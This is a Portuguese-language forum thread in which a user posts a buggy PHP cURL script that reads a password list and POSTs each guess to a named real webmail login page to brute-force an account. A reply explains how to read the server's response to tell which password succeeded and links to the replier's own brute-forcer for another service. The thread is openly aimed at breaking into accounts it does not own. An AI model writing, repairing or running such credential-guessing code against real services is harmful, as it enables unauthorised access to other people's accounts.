BruteForce Curl

Iniciado por Dan!el, 06 de Novembro , 2010, 06:33:39 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Dan!el

Olá novamente pessoal,

Estou tentando fazer um script para enviar varias requisições de login e me voltar password correto.

No entanto eu nao sei com o curl pegar a resposta do servidor, e estou fazendo desse modo do script,
mais como sou meio novo não to conseguindo nem fazer envio post com a variavel no arquivo.txt
que contém as possiveis senhas, não sei porque mais não carrega a variavel na string oque pode
estar errado ?



<?php
  $fh 
fopen("lista.txt""r");
  while(!
feof($fh)) {
   
$curl curl_init();
   
$pass fgets($fh,1024);
   
//$data = fread($fh, filesize('lista.txt'));

   
curl_setopt($curlCURLOPT_URL,"http://webmail.itelefonica.com.br/cgi-bin/emslogin.cgi");
   
curl_setopt($curlCURLOPT_POST1);
   
curl_setopt($curlCURLOPT_POSTFIELDS"PASSWD=$pass&LOGIN=user");

   
curl_exec ($curl);
   
curl_close ($curl);
}   
   break;
  
fclose($fh);

?>


Fvox

Hi.

Tópico antigo, mas ainda é o segundo da sessão. Então não podemos considerar um up, certo? =P
Vou responder apenas a nível de conhecimento. Provavelmente o autor já resolveu o problema hahah.

By the way, o resultado da requisição é retornado pela função curl_exec($ch). No seu caso, provavelmente o site vai retornar um HTML. A partir da mensagem que este HTML mostra, você pode verificar se a senha foi validada ou não.

Como base, dá pra usar um brute force que fiz para o rapidshare há uns anos. A lógica é a mesma:
http://www.forum.darkers.com.br/index.php?topic=10145.0

[]'s
"Achas que estás caindo na insanidade? Mergulhe."